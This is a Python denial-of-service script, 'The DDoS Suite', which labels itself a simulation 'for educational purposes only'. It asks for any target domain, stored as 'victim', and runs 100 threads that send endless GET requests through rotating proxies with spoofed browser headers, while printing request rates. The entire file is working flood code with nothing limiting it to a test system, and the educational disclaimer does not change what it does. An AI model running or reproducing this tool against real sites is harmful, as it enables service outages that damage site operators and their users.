import requests
import threading
import time
from itertools import cycle
from fake_headers import Headers


banner = """

 _____ _            ____  ____   ___  ____    ____        _ _       
|_   _| |__   ___  |  _ \|  _ \ / _ \/ ___|  / ___| _   _(_) |_ ___
  | | | '_ \ / _ \ | | | | | | | | | \___ \  \___ \| | | | | __/ _ \'
  | | | | | |  __/ | |_| | |_| | |_| |___) |  ___) | |_| | | ||  __/
  |_| |_| |_|\___| |____/|____/ \___/|____/  |____/ \__,_|_|\__\___|

"""

print(banner)
print("🛡️ DDoS Simulation Tool - Educational Purpose Only 🛡️\n")

# Target input
victim = input("🌐 Enter the target domain (e.g., http://example.com): ")

#  Sample proxy list (you can expand this)
list_proxy = [
    '103.217.217.180:8080',
    '113.160.155.121:19132'
]

proxy_cycle = cycle(list_proxy)

#  Lists for request/response stats
req_log = []
resp_log = []

#  Time utility functions
def current_mil_time():
    return round(time.time() * 1000)

def current_sec_time():
    return round(time.time())

def count_resp_per_sec(time_took):
    t = current_sec_time()
    resp_log.append({
        "time_took": time_took,
        "time_recived": t,
    })
    # Clean old logs
    for entry in list(resp_log):
        if current_sec_time() - entry["time_recived"] >= 1:
            resp_log.remove(entry)

def count_req_per_sec():
    t = current_sec_time()
    req_log.append({
        "time_recived": t,
    })
    for entry in list(req_log):
        if current_sec_time() - entry["time_recived"] >= 1:
            req_log.remove(entry)

#  Request thread function
def make_request(thread_id):
    while True:
        count_req_per_sec()
        try:
            proxy = next(proxy_cycle)
            proxies = {
                "http": proxy,
                "https": proxy
            }
            
            # unproxy
            headers = Headers(os="mac",headers=True).generate()
            
            #  if you use proxy
            # headers = Headers(os="mac",proxies=proxies headers=True).generate()
            start = current_mil_time()
            r = requests.get(url=victim, proxies=proxies, headers=headers, timeout=5)
            duration = current_mil_time() - start
            count_resp_per_sec(duration)

            print(f"[Thread-{thread_id}] ✅ Success via {proxy} | Response Time: {duration}ms")
        except Exception as e:
            print(f"[Thread-{thread_id}] ❌ Failed via {proxy} | Error: {str(e)}")

#  Thread starter
threads = 100
print(f"\n🚀 Initializing {threads} Threads...\n")
for i in range(threads):
    t = threading.Thread(target=make_request, args=(i,))
    t.daemon = True
    t.start()

print("🔥 Attack Simulation Started...\n")

#  Real-time monitoring
while True:
    time.sleep(1)
    response_time = sum(entry['time_took'] for entry in resp_log)
    avg_time = round(response_time / len(resp_log), 2) if len(resp_log) > 0 else 0
    print(f"📊 Stats — Req/sec: {len(req_log)} | Resp/sec: {len(resp_log)} | Avg Resp Time: {avg_time} ms")
